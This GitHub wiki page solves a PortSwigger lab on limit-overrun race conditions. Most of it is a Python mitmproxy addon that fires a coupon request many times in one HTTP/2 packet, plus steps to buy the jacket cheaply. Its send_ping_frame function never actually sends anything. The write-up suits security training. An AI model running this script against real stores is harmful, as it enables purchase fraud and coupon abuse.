Race conditions - gachikuku/portswigger GitHub Wiki

Apprentice lab:
Limit overrun race conditions

This lab's purchasing flow contains a race condition that enables you to purchase items for an unintended price.
To solve the lab, successfully purchase a Lightweight L33t Leather Jacket.
You can log in to your account with the following credentials: wiener:peter.

  • Solution
1. Start mitmproxy with a custom script (mitmproxy -s xspa.py).
import mitmproxy.http
from mitmproxy import ctx
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import logger


class SinglePacketAttackAddonV1:

    def __init__(self):
        logger.be_silent_key = True
        self.host = None
        self.port = 443
        self.h2_conn = None

    def request(self, flow: mitmproxy.http.HTTPFlow):
        if flow.is_replay == "request" and flow.request.headers.get('x-spa', '').lower() == 'true':
            self.host = flow.request.host
            self.setup_connection()
            self.perform_attack(flow)

    def setup_connection(self):
        self.h2_conn = H2OnTlsConnection(
            hostname=self.host,
            port_number=self.port
        )
        self.h2_conn.setup_connection()

    def perform_attack(self, flow):
        headers = self.format_headers(flow.request.headers)
        body = flow.request.content.decode()
        path = flow.request.path

        # Check if the 'x-spa-num' header is present. If not defaults to 20
        x_spa_num = int(flow.request.headers.get('x-spa-num', '20'))

        stream_ids_list = self.h2_conn.generate_stream_ids(number_of_streams=x_spa_num)
        all_headers_frames = []
        all_data_frames = []
        for i in range(x_spa_num):
            header_frames_without_last_byte, last_data_frame_with_last_byte = self.h2_conn.create_single_packet_http2_post_request_frames(
                method='POST',
                headers_string=headers,
                scheme='https',
                stream_id=stream_ids_list[i],
                authority=self.host,
                body=body,
                path=path
            )
            all_headers_frames.append(header_frames_without_last_byte)
            all_data_frames.append(last_data_frame_with_last_byte)

        temp_headers_bytes = b''.join(bytes(h) for h in all_headers_frames)
        temp_data_bytes = b''.join(bytes(d) for d in all_data_frames)
        self.h2_conn.send_bytes(temp_headers_bytes)
        sleep(0.1)
        self.send_ping_frame()
        self.h2_conn.send_bytes(temp_data_bytes)
        resp = self.h2_conn.read_response_from_socket(_timeout=3)

        # Count successful responses
        success_count = sum(1 for frame in resp if frame.startswith(b'\x00\x00\x00\x01'))

        ctx.log.info(f"Attack completed for {self.host}{path}. Successful responses: {success_count}/{x_spa_num}")

    def format_headers(self, headers):
        return "\n".join(f"{k}: {v}" for k, v in headers.items())

    def send_ping_frame(self, ping_data=b'\x00' * 8):
        if isinstance(ping_data, str):
            ping_data = ping_data.encode()

    def done(self):
        if self.h2_conn:
            self.h2_conn.close_connection()

addons = [SinglePacketAttackAddonV1()]

xspa.py

  1. Add an item like normally would someone do, applying the coupon at the end.
  2. Cancel the coupon and repeat the request. Single packet attack will be executed and a race condition will be met.
  3. Buy l33t jacket.

NOTE:
Solving this lab requires https://github.com/nxenon/h2spacex/ python library.

⚠️ **GitHub.com Fallback** ⚠️